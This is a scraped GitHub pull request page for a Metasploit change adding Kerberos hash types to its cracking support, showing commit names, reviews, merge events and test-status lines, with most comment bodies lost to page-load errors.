jheysel-r7 force-pushed the krb5tgs_rc4 branch from bcfda40 to 04743e8 Compare May 20, 2026 22:37

cracking progress

165af78

h00die added 3 commits May 25, 2026 08:09

all tests running

1b25feb

all tests running

f4b25e6

all tests running

cac87e4

h00die marked this pull request as ready for review May 25, 2026 14:04

jheysel-r7 approved these changes May 26, 2026

View reviewed changes

github-project-automation Bot moved this from Todo to In Progress in Metasploit Kanban May 26, 2026

jheysel-r7 merged commit 2dbc6a0 into rapid7:master May 26, 2026
48 checks passed

github-project-automation Bot moved this from In Progress to Done in Metasploit Kanban May 26, 2026

jheysel-r7 added the rn-enhancement release notes enhancement label May 26, 2026

h00die deleted the krb5tgs_rc4 branch May 27, 2026 00:02

Navigation Menu

Uh oh!

Add Kerberos type hashes to cracking - #20881

Add Kerberos type hashes to cracking#20881
jheysel-r7 merged 12 commits into
rapid7:masterfrom
h00die:krb5tgs_rc4

h00die commented Jan 18, 2026 •

edited

Loading

Uh oh!

h00die commented Jan 18, 2026 •

edited

Loading

Uh oh!

sjanusz-r7 Jan 22, 2026

Uh oh!

h00die commented Jan 25, 2026 •

edited

Loading

Uh oh!

jheysel-r7 commented Apr 13, 2026

Uh oh!

sjanusz-r7 commented Apr 16, 2026

Uh oh!

h00die commented Apr 16, 2026

Uh oh!

h00die commented May 8, 2026

Uh oh!

h00die commented May 24, 2026 •

edited

Loading

Uh oh!

h00die commented May 25, 2026

Uh oh!

h00die commented May 25, 2026

Uh oh!

jheysel-r7 left a comment

Uh oh!

jheysel-r7 commented May 26, 2026

Uh oh!

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

4 participants

Uh oh!

Conversation

h00die commented Jan 18, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

To Do List

JtR

hashcat

Testing

Uh oh!

h00die commented Jan 18, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Uh oh!

sjanusz-r7 Jan 22, 2026

Choose a reason for hiding this comment

Uh oh!

h00die commented Jan 25, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Uh oh!

jheysel-r7 commented Apr 13, 2026

Uh oh!

sjanusz-r7 commented Apr 16, 2026

Uh oh!

h00die commented Apr 16, 2026

Uh oh!

h00die commented May 8, 2026

Uh oh!

h00die commented May 24, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Test 3 (pass)

Test 8 (likely pass)

Test 14

Test 19 (pass)

Uh oh!

h00die commented May 25, 2026

Uh oh!

h00die commented May 25, 2026

Uh oh!

jheysel-r7 left a comment

Choose a reason for hiding this comment

Testing 3,14,19

Testing 8

Uh oh!

jheysel-r7 commented May 26, 2026

Release Notes

Uh oh!

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

4 participants

h00die commented Jan 18, 2026 •

edited

Loading

h00die commented Jan 18, 2026 •

edited

Loading

h00die commented Jan 25, 2026 •

edited

Loading

h00die commented May 24, 2026 •

edited

Loading